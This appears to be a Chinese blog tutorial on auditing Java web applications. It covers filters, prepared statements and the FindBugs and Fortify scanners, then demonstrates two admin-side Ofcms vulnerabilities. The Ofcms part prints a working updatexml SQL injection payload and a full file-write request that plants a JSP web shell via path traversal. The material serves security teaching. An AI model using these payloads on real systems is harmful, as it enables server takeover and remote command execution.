55 代码审计-JAVA项目注入上传搜索或插件挖掘

目录

    • 必备知识点
    • 演示案例:
      • 简易Demo段SQL注入及预编译
      • IDEA审计插件FindBugs安装使用
      • Fortify_SCA代码自动审计神器使用
      • Ofcms后台SQL注入-全局搜索关键字
      • Ofcms后台任意文件上传-功能点测试
    • 涉及资源:

我们一般针对java项目,进行漏洞分析的话,主要是从三方面去分析,代码层面分析,还有代码引用或编写的框架,框架也会有一些安全问题。除此之外,容器搭建也会造成安全问题,这个是简要的分类,我们分析的三个方向
在这里插入图片描述
由于javaweb的语言特性和一些常规的php和脚本,大致不一样,所以在漏洞方面的类型也会有些小范围的区别,这个可以参考我们之前讲过的webgoat java环境靶场里面的常规漏洞进行分析,这个是整体的思路

这些知识点,我们前期简要的去看一下就好了,这些常规意思你下去看到查一下,记住几个就行了
这个跟我们php里面get提交、post提交比较类似
在这里插入图片描述
在这里插入图片描述

必备知识点

简要理解JAVAWEB项目组成
代码方面,框架方面,中间件容器方面等
简要理解JAVAWEB执行流程
参考下图及
https://www.cnblogs.com/1987721594zy/p/9186584.html
https://blog.csdn.net/weily11/article/details/80643472

我们着重讲过滤器,他可以由配置文件指定过滤器,filter在代码中会有相关的过滤和防护,由filter 来指定,所以说java和php这些常规的脚本不同的地方,java在执行的时候会有过滤器,过滤器可以进行配置、编写
一般我们在看源代码的时候,要优先看一下源码里面有没有过滤器,过滤器的一些写法又是怎样的

com:
公司项目,copyright由项目发起的公司所有
包名为com.公司名.项目名.模块名…
持久层: dao、persist、mapper
实体类: entity、model、bean、javabean、pojo
业务逻辑: service、biz
控制器: controller、servlet、action、web
过滤器: filter
异常: exception
监听器: listener

我们要知道这些常规命名代表什么意思
在不同的框架下一般包的命名规则不同,但大概如上,不同功能的 Java 文件放在不同的包中,根据 Java 文件的功能统一安放及命名。

#审计思路:
根据业务功能审计优点:
明确程序的架构以及业务逻辑,明确数据流向,
可以从获取参数–>表现层–>业务层–>持久层,通读源码;
缺点:耗费时间;

根据敏感函数审计优点:
可以快速高效的挖出想要的漏洞,判断敏感函数上下文,追踪参数源头;
缺点:覆盖不了逻辑漏洞,不了解程序的基本框架;

#审计开始前:
1、确定框架:
目的:要分析一下当前框架是否存在漏洞
通过以下三种方式确定框架:
web.xml
看导入的jar包或pom.xml
看配置文件
Struts2 配智文件:struts.xml
Spring配置文件: applicationContext.xml
Spring Mvc 配置文件: spring-mvc.xml
Hibernate 配置文件: Mibernate.cfg.xml
Mybaits 配置文件: mybatis-config.xml

确定框架是为了便于对框架进行了解,因为每个框架不同的话,那么框架的安全性也不同,我们知道Struts2曾经报过很多漏洞,特别是RCE执行漏洞,在前面几年非常火,所以你确定是这个框架开的项目之后,一旦这个框架曾经报过漏洞,或者说这个框架不怎么安全,也会对这个项目造成漏洞攻击

2、查看是否存在拦截器
通过查看web.xml文件,确定是否配置相关拦截器。

我们即使看到代码中可能存在安全问题,但是由于这个过滤器的存在,那么你在测试攻击的时候,也会受到过滤器的拦截,这个跟PHP的一些东西是不太一样的,他是把一些过滤器写到配置文件里面去,那么代码就受到过滤器的保护,所以过滤器是我们执行流程比较关注的点,因为他决定这个漏洞是否能够成功应用的一个根本

演示案例:

简易Demo段SQL注入及预编译

大家要分析java代码,是没有一些好的审计工具,大家需要安装idea工具,java开发的环境有很多idea,这里我们使用的是IntelliJ IDEA,因为这个是比较主流的
在这里插入图片描述
现在我们把项目载入进去,常规的javaweb代码,是有jsp格式去书写的,那么在有些项目里面,格式是java类型的,这个是看他的开发框架,有没有引用开发框架,如果没有引用框架,那大部分源码都是jsp的格式源码,如果有引用框架,那一般是java和jar一些的格式文件
在这里插入图片描述

在这个文件里面,一般java源码、他的web代码,一般是储存在src/main/webapp里面,还有一个是src/main/java/com.anbai.sec
在这里插入图片描述

在这里插入图片描述
一般我们是看java目录和webapp目录,一般web的源码是存放在webapp下面,在下面我们可以看到这里有些目录同时有些jsp文件,jsp文件就是一些很简单的程序源码,如果是jar的还需要对jar的源码进行反编译查看,反编译很简单,可以利用一些工具进行反编译,还可以把jar文件拖到idea里面自动进行反编译
在这里插入图片描述
我们看一下jsp代码
在这里插入图片描述
代码中出现了关键字,其中有sql语句,user在接收过来之后,并没有受到相关的影响
在这里插入图片描述
我们把项目运行起来,我们找到那个文件,后面加上参数
在这里插入图片描述
这些是运行起来中间件的信息,他可以实时监控你返回的地址信息
在这里插入图片描述
为了更加方便,我们自己开个数据库的插件工具来监听一下当前数据库的执行语句
在这里插入图片描述
我们刷新一下刚才地址,来看一下当前语句执行情况,可以看到在这边执行了sql语句,你可以看到在这边执行了sql语句,你可以看到上面采用java连接到数据库的连接请求,我们执行了sql语句
在这里插入图片描述
我们测试一下有没有注入点,我们加上去看它数据库有没有进行组合就完事了,可以看到这里爆出了1和2
在这里插入图片描述
我们接着继续进行注入,这里就是简单的demo段sql注入
在这里插入图片描述
在这里插入图片描述
列名接上参数值再配个问号这种写法就会造成预编译机制,就是防注入的情况,我们在分析注入点的时候,你在判断注入点参数,在加上这个值user = ?的时候,那这个东西一般就是采用预编译机制了
在这里插入图片描述
我们保存一下,把项目重启一下,再去测试一下刚才的注入点
你只要加上任何东西就会变成问号,这个就是java里面自带的预编译机制
在这里插入图片描述
创建预编译对象,他会把sql语句进行预编译在这里插入图片描述
典型的代码执行语句前后问题,他是防止sql注入最有效的东西,预编译机制,这个在PHP里面也有,但是php很少看到,一般在java会常看到

java里面采用预编译机制写法特别简单,只要是稍微懂点安全的人,在数据库执行加上变量的时候,会采用?,一旦写上,预编译机制就会被采用,所以这个注入就很难进行

虽然预编译机制理论上是可以绕过的,但是要看情况,它是需要看代码写法的,有些预编译是可以绕过的,大部分是绕过不了或者是很鸡肋

大家如果是在java中分析注入代码的时候,你一定要看一下sql语句的编写方式,是不是采用我们刚才安全写法的预编译机制,采用这种机制,这个注入点是很难去操作的,那么这个注入点的挖掘是可以忽略不计了

如果是下面这个写法的话,可以去追踪一下,这里有没有过滤器
在这里插入图片描述
过滤器看pom.xml
在这里插入图片描述
这个就是过滤器的申明,关键字是filter,如果有过滤器的话,就要找到过滤器的代码段,然后分析一下,这个地方会不会受到过滤器的影响
在这里插入图片描述
java代码审计整体上跟php差不多的,只是在语言设计上面有些区别,难点是代码比较难懂,在就是它自身的框架比较多

IDEA审计插件FindBugs安装使用

利用插件是用来自动分析的,一般我们进行java代码审计是人为,人为分为两方面,第一种是根据业务功能审计优点,我们要知道java项目是干嘛用的,比如说它是论坛程序、交友程序、简简单单的门户网站,我们要知道项目面对功能不一样的话,比如他是通过文件下载的站,那么就会涉及到文件操作,就会优先考虑文件下载、上传、遍历这些漏洞,所以我们通过项目的业务功能,来去着重的分析漏洞产生点

在PHP里面经常讲到的,搜索关键字,通过这些敏感函数,比如文件类操作函数,我们就通过搜索文件类操作函数来寻找文件操作类漏洞,文件上传、文件下载;如果是注入类漏洞,就搜索sql语句关键字、接收方式,我们可以通过搜索关键字来确定你要找的方向

除了人工思路之外,还可以借助工具,这种工具就是采用自动化,一种是项目的插件,还有一种是我们比较知名的代码分析神器Fortify,Fortify支持大部分的脚本,用Fortify的原因是很多工具都不支持java

用工具去分析,可以打开突破口,相当于我们不需要去想前面的事情,只需要用这两个插件帮我们跑一下,跑完之后,我们在根据上面给到的提示,再去分析代码

FindBugs是我们第二推荐的,这个插件主要是找bug,但是他里面也集成了找安全漏洞的功能

参考网上的安装文章安装一下FindBugs
在这里插入图片描述
我们选中java项目,点开始按钮,点击是
在这里插入图片描述
他这里就会分析有没有相关漏洞,从代码中分析到这个地方可能存在安全问题,我们这种看security目录,其它一些目录都是其它的,因为这个插件主要是用来分析java书写的bug
在这里插入图片描述
这里存在sql注入和csrf漏洞、弱口令、密码显示
在这里插入图片描述
我们打开看一下,他分析到代码是在这个地方有问题
在这里插入图片描述
这个插件在用的时候,顺便用一下,我个人不是很推荐,他只是说更好的帮你分析代码的工具,真正来说,它分析到漏洞的机率不是很高,还是要用Fortify

FindBugs插件有个缺点,不能分析jsp文件,这是它最大的缺点

Fortify_SCA代码自动审计神器使用

我们打开这款工具
在这里插入图片描述
由于是java项目,然后我们选择的是这个
在这里插入图片描述
他会让我们选择java的版本,这个是根据你自己电脑安装的java版本选择的
在这里插入图片描述
一般默认就可以了
在这里插入图片描述
这个扫描过程,根据你当前电脑的配置、项目大小,他会有一段时间,大部分在三、五分钟,电脑配置比较低的话,不建议用,会崩的
在这里插入图片描述
这个就是扫描结果
在这里插入图片描述
扫描出来的sql注入
在这里插入图片描述
文件就是这个地方
在这里插入图片描述
我们进行注入测试,这里就不说,就是注入点
在这里插入图片描述
在这里插入图片描述
这边命令执行,参数cmd可控
在这里插入图片描述

Fortify工具是非常好的,他能帮你自动找到脆弱点,让你直接载入进去去看,这个是工具自动化帮你分析一遍,找到切入点,你再去确定有没有这个漏洞

idea使用技巧,把代码段打开之后,编辑>查找>在路径中查找,这个就是全局查找
在这里插入图片描述
也就是在项目中查找关键字,这边可以指定范围和一些其它的
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在项目中搜索select,通过关键字也能分析到一些问题
在这里插入图片描述

选中函数,点击查找使用,分析一下代码在那里出现过,就是全局搜索,定位函数差不多的意思,要看一下这个函数从那里来,我们要分析一下这个函数的过滤和一些写法,来分析他有没有过滤
在这里插入图片描述
选中方法,点击他
在这里插入图片描述
其实就是建立数据库连接的东西
在这里插入图片描述

Ofcms后台SQL注入-全局搜索关键字

我们载入项目
在这里插入图片描述
拿到源码之后,还是需要简单了解一下源码的业务功能,了解一下他整体的设计,看一下他的架构
在这里插入图片描述
在这里插入图片描述
项目依赖、配置文件
在这里插入图片描述
拿到源码之后,我们一般要看一下他的pom.xml,看完这个之后,还需要看一下web.xml
公司名称、几个目录
在这里插入图片描述
数据库版本
在这里插入图片描述
确认框架
在这里插入图片描述
我们点击外部库,看他引用了那些外部库
在这里插入图片描述
搜一下web.xml也能搜索出来
在这里插入图片描述
看到了过滤器和监听器了
在这里插入图片描述
一般我们在看项目源码的时候,优先看一下这几个文件,确定一下常规的信息之后,你整体的思路就比较明显了,就知道这个程序对应是什么套路,有什么框架加什么东西的开发

我们采取人工和工具同时进行,先使用工具对整体源码进行分析
在这里插入图片描述
然后把网站先给启动起来
在这里插入图片描述
进行插件分析也可以
在这里插入图片描述
网站已经启动成功了
在这里插入图片描述
我们看一下idea工具运行的地方,可以看到很多的sql语句交互的界面
在这里插入图片描述
搜索一下sql语句的关键字,这个地方好像有安全问题
在这里插入图片描述
这里定义了sql语句
在这里插入图片描述
sqlOrgnoToID没有被调用
在这里插入图片描述

我们进行全局搜索试一下,sqlOrgnoToID写法有问题,但是sqlOrgnoToID函数没有被调用过
在这里插入图片描述
我们搜索的时候只能搜索一些关键字进行确定,搜索数据库的操作性函数、搜索写法的关键字
Db.update猜想是数据库里面执行sql语句
在这里插入图片描述
结果可以在窗口中查询
在这里插入图片描述
这个地方可能存在sql注入点,因为他这里接收到sql语句之后,就用update执行了
在这里插入图片描述
我们查找文件地址在那里
在这里插入图片描述
文件地址找到之后,我们去访问文件,触发文件地址,第一个是要看他框架的路由;第二个看他代码里面有没有申明路由地址

在java里面有action开端的就是路由地址,也就是说访问system/generate/地址信息,就是触发文件
在这里插入图片描述
然后他定义的里面方法叫create,我们加create参数,就是触发这个方法,然后传递sql变量触发他
在这里插入图片描述
我们打开admin目录,登录后台
在这里插入图片描述
我们现在去触发地址,这个就是说我们直接访问不行,要有一些数据包构造,自己抓包进行分析,配合BP,就是分析它后台的地址信息,然后加载看是不是目录搞错了
在这里插入图片描述
我们现在就来访问这个地址
在这里插入图片描述
点击一下用户管理,触发地址链接,对照着去修改它
在这里插入图片描述
把路由地址信息替换一下
在这里插入图片描述
我们把它发出去,看一下对应界面的更改
在这里插入图片描述
我们现在要触发create方法,我们抓数据包进行分析,我们刷新看一下,我们看到源代码是没有query方法
在这里插入图片描述
我们点击增加这里看一下,写个test
在这里插入图片描述
这个就是触发方法,跟thinkPHP差不多
在这里插入图片描述
只是后面加了json,这个json是上面代码段包含文件默认的写法,要追踪一下java包,所以通过源代码之后,这个地址就会完整的构造出来
在这里插入图片描述
它给的参数名是sql就对应上了
在这里插入图片描述
在这里插入图片描述
我们构造payload发送过去,这个是根据数据库的情况决定的语句,如果是oracle数据库就是oracle数据库的注入语句,我这边是mysql

update of_cms_link set link _name=updatexml(1, concat(0x7e,(version())),0) where link_id=4

在这里插入图片描述
然后这里报错了
在这里插入图片描述
这个漏洞是产生在后台的,也就是说这个漏洞是鸡肋漏洞,他不是在前端的,前端的漏洞这个程序没有,它只有后台有这个漏洞,后台有这个漏洞的意义是可以操纵数据库,通过这个sql语句拿网站权限,因为后台到网站权限还有一步之遥,所以你发现这个漏洞之后,可以通过这个漏洞获取网站权限,但是这个是代码分析,分析到了sql注入漏洞

Ofcms后台任意文件上传-功能点测试

模板这里有修改文件的,其实这是个上传文件的地方
在这里插入图片描述
点保存,我们抓个包,这个地址对应save文件
在这里插入图片描述
我们搜索save方法,找到对应文件的函数
在这里插入图片描述
操作代码在这里,这里就是典型的文件接收过来的写入文件,它其实就是文件上传写入,在这个地方没有过滤
在这里插入图片描述
我们只要满足这几个参数值传递过去,就能实现文件的写入

file_path=$dirs=%2F&res_path=res&file_name=../../static/jsp_shell.jsp&file_content=%3C%25%0A++++if(%22pOdesta%22.equals(request.getParameter(%22pwd%22)))%7b%OA++++++++java.io.InputStreamt+in+*3D+Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputstream()%3A%0A++++++++int+a+%3D+-1%3B%0A+++++++byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B%0A+++++++out.print(%22%3Cpre%3E%22)%3B%0A++++++++while((a%3Din.read(b))!%3D-1)%7B%0A++++++++++++out.println(new+String(b))%3B%0A++++++++%7D%0A++++++++out.print(%22%3C%2Fpre%3E%22)%3B%0A++++%7D%0A%25%3E

在这里插入图片描述
上传成功
在这里插入图片描述
在这里插入图片描述
就是我们写入的代码
在这里插入图片描述
这个就是典型的功能点导入文件的分析,通过代码上面的地址信息,分析这个地方有没有相关过滤,如何实现过滤

我们从两方面入手,第一方面全局搜索关键字找特定漏洞的代码段,第二方面,网站搭建完,测试功能点,然后抓包,通过抓包的地址信息来找到对应代码段,然后分析代码段的情况

有些框架会把函数进行整改,这个是接收函数
在这里插入图片描述
但真正来讲函数是这样写的,它把函数给重新定义了,这样我们去搜索的话,就搜索不到原型,这个就是搜索关键字不好的一点,不过你通过源代码阅读分析的话,把这个东西找到是一样的道理
在这里插入图片描述
这是ofcms的两个鸡肋漏洞,因为都是在后台,前端没有漏洞,不过我们熟悉的是它整体代码的分析

从分析过程中,大家也都知道java和php的区别,第一个是代码上的区别,第二个主要是java文件对应地址的区别,这是一个比较核心的点
一些文件里面你要看路由地址
在这里插入图片描述
然后你抓包的时候看一下
在这里插入图片描述
这个路由一般会在里面申明,thinkphp里面是官方的,这个也是遵循java怎么写的,所以你要翻文件,来确定这个文件的写法;它常规的过滤器写法,sql语句的写法是它自带的,预编译机制,java语言的特性

我们懂一些pyhon、php、c++,看java代码应该能看一些明白,因为很多代码的英文单词已经写的很清楚了,save就是保存在这里插入图片描述
javaweb代码审计之所以难,是因为它的框架不一样,框架不一样,它的安全问题也不一样,就好比我们php里面使用thinkphp开发的源码,它就遵循thinkphp里内置的安全规则;java也是一样,假设你是用struts2开发的,那struts2的安全属性流程你就要按照它的来,我们讲框架漏洞只能抽其中一两个去讲,太多框架讲不完

这个框架的选用是根据网站自身决定的,常用的框架就那几种,如果网站是专门对数据库进行操作的,就选用ORM型框架,例如MyBatis框架和Hibernate框架;文章显示,会以这三种SpringMVC,Struts2框架,Spring框架,java程序有多个框架,这就是java代码审计为什么难的原因,网站用什么框架,那网站的安全就归那个框架使用,你使用什么框架就遵循它引用的规则,就会应用它自身的过滤器进行拦截,对攻击进行防护,struts2报过安全漏洞,所以框架在引用的时候,会导致源码的安全性问题;框架安全的话,源码就安全

vulhub有很多中间件漏洞,中间件漏洞不属于代码层面的,它是它中间件自身的代码漏洞
在这里插入图片描述

涉及资源:

https://blog.csdn.net/x62982/article/details/88392968
https://blog.csdn.net/weily11/article/details/80643472
https://www.cnblogs.com/kingsonfu/p/12419817.html
https://www.cnblogs.com/1987721594zy/p/9186584.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/252903.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

SolidWorks二次开发 C#-读取基于Excel的BOM表信息

SolidWorks二次开发 C#-读取基于Excel的BOM表信息 问题点来源解决方案及思路相关引用链接 问题点来源 这是一位粉丝问的一个问题,他说到: 老师,请问Solidworks二次开发工程图中"基于Excel的材料明细表"怎么读取里面的数据? Ps:这…

风速预测(五)基于Pytorch的EMD-CNN-LSTM模型

目录 前言 1 风速数据EMD分解与可视化 1.1 导入数据 1.2 EMD分解 2 数据集制作与预处理 2.1 先划分数据集,按照8:2划分训练集和测试集 2.2 设置滑动窗口大小为96,制作数据集 3 基于Pytorch的EMD-CNN-LSTM模型预测 3.1 数据加载&…

「Verilog学习笔记」流水线乘法器

专栏前言 本专栏的内容主要是记录本人学习Verilog过程中的一些知识点,刷题网站用的是牛客网 timescale 1ns/1nsmodule multi_pipe#(parameter size 4 )(input clk , input rst_n ,input [size-1:0] mul_a ,input [size-1:0] mul_b ,output …

DHCP—动态主机配置协议

动态主机配置协议DHCP(Dynamic Host Configuration Protocol,动态主机配置协议)是RFC 1541(已被RFC 2131取代)定义的标准协议,该协议允许服务器向客户端动态分配IP地址和配置信息。 DHCP协议支持C/S&#x…

【数据分享】2019-2023年我国地级市逐月新房房价数据(Excel/Shp格式)

房价是一个城市发展程度的重要体现,一个城市的房价越高通常代表这个城市越发达,对于人口的吸引力越大!因此,房价数据是我们在各项城市研究中都非常常用的数据!之前我们分享过2015-2023年我国区县逐月新房房价数据&…

倚力未来:人工智能智能辅助医疗的前景与挑战

导言 人工智能在医疗领域的应用正迅速发展,为医疗行业带来了新的可能性。本文将深入探讨人工智能在医疗中的智能辅助应用,以及这一趋势面临的前景和挑战。智慧医疗是指通过先进的信息技术,如人工智能、物联网、大数据等,实现医疗数…

Javaweb考前复习冲刺(不断更新版)

Javaweb考前复习冲刺 第一章: JavaWeb 入门 JavaWeb是指:以Java作为后台语言的项目工程。 javaweb项目创建的过程: 首先集成Tomcat服务器环境新建dynamic web project部署工程运行 路由含义: ​ http://localhost:8080/工程…

[NCTF2019]Fake XML cookbook1

提示 xml注入 一般遇到像登录页之类的就因该想到sql注入、弱口令或者xml等 随便输入抓包 这里明显就是xml注入 这里我们来简单了解一下xml注入 这里是普通的xml注入 xml注入其实和sql注入类似&#xff0c;利用了xml的解析机制如果系统没有将‘<’‘>’进行转义&#xff0…

Autosar CAN报文周期抖动可能的原因分析+解决方法(总结)

一、背景 在Autosar项目中我们经常会遇到各种CAN报文在CANOE上抓取的图形周期抖动,因此需要通过一些可能的原因分析解决报文周期不准的问题。 那么下面就我根据实际项目中遇到的一些可能的原因做一些总结(后续持续完善)。 二、可能的原因及解决方案 1、可能原因:CPU idl…

《ThreadLocal使用与学习总结:2023-12-15》由浅入深全面解析ThreadLocal

由浅入深全面解析ThreadLocal 目录 由浅入深全面解析ThreadLocal简介基本使用ThreadLocal与synchronized的区别ThreadLocal现在的设计&#xff08;JDK1.8&#xff09;ThreadLocal核心方法源码分析ThreadLocalMap源码分析弱引用与内存泄露&#xff08;内存泄漏和弱引用没有直接关…

python排序算法 直接插入排序法和折半插入排序法

最近需要使用到一些排序算法&#xff0c;今天主要使针对直接插入排序和折半插入排序进行讲解。 首先是直接插入排序&#xff0c;其排序过程主要是&#xff0c;针对A[a1,a2,a3,a4,a5....an]&#xff0c;从排序的序列头部起始位置开始&#xff0c;将其也就是a1视为只有一个元素的…

Android编译优化之Jetifier优化

本文字数&#xff1a;9048字 预计阅读时间&#xff1a;40分钟 在狐友项目的编译优化中&#xff0c;我们发现在 BuildAnalyzer 中有明确的 Warnings 提示&#xff0c;告知项目可以进行 Jetifier 优化。 Jetifier 是之前项目进行 AndroidX 迁移时引入的插件&#xff0c;它能辅助迁…

Azure Machine Learning - 提示工程简介

OpenAI的GPT-3、GPT-3.5和GPT-4模型基于用户输入的文本提示工作。有效的提示构造是使用这些模型的关键技能&#xff0c;涉及到配置模型权重以执行特定任务。这不仅是技术操作&#xff0c;更像是一种艺术&#xff0c;需要经验和直觉。本文旨在介绍适用于所有GPT模型的提示概念和…

diffuser为pipeline设置不用的scheduler

查看默认的schedulers&#xff1a; 使用默认的schedulers生成数据 查看默认scheduler的默认配置&#xff0c;定义了采样器中的相关参数&#xff0c;网上关于DDPM和DDIM的文章较多&#xff0c;可以先去看看这两种schedulers&#xff1a; 修改scheduler&#xff0c;可以用于…

13.二进制枚举练习题

文章目录 二进制枚举练习题[78. 子集](https://leetcode.cn/problems/subsets/)[77. 组合](https://leetcode.cn/problems/combinations/)[1286. 字母组合迭代器](https://leetcode.cn/problems/iterator-for-combination/)[2397. 被列覆盖的最多行数](https://leetcode.cn/pro…

CSS3 2D变形 过渡 动画

​​​​​ transform(2D变形)概述translate()平移scale()缩放skew()倾斜rotate()旋转transform-origin中心原点 CSS3 2D变形 3D变形 过渡 动画 在CSS3中&#xff0c;动画效果包括4个部分&#xff1a;变形&#xff08;transform&#xff09;、3D变形、过渡&#xff08;transit…

【Linux】cp问题,生产者消费者问题代码实现

文章目录 前言一、 BlockQueue.hpp&#xff08;阻塞队列&#xff09;二、main.cpp 前言 生产者消费者模式就是通过一个容器来解决生产者和消费者的强耦合问题。生产者和消费者彼此之间不直接通讯&#xff0c;而通过阻塞队列来进行通讯&#xff0c;所以生产者生产完数据之后不用…

计算机网络:网络层(无分类编址CIDR、计算题讲解)

带你快速通关期末 文章目录 前言一、无分类编址CIDR简介二、构成超网三、最长前缀匹配总结 前言 我们在前面知道了分类地址&#xff0c;但是分类地址又有很多缺陷&#xff1a; B类地址很快将分配完毕!路由表中的项目急剧增长! 一、无分类编址CIDR简介 无分类域间路由选择CI…

计算机网络:数据链路层(VLAN)

今天又学到一个知识&#xff0c;加油&#xff01; 目录 一、传统局域网的局限&#xff08;促进VLAN的诞生&#xff09; 二、VLAN简介 三、VLAN的实现 总结 一、传统局域网的局限&#xff08;促进VLAN的诞生&#xff09; 缺乏流量隔离:即使把组流量局域化道一个单一交换机中…

【Linux】初识命令行

为什么使用命令行&#xff1f; 大多数的计算机用户只是熟悉图形用户界面(GUI)&#xff0c;采用图形方式显示的用户操作界面。命令行界面(CLI)是一种通过文本输入来与计算机进行交互的方式&#xff0c;用来和计算机进行交流沟通的非常有效的方式&#xff0c;正像人类社会使用文…
最新文章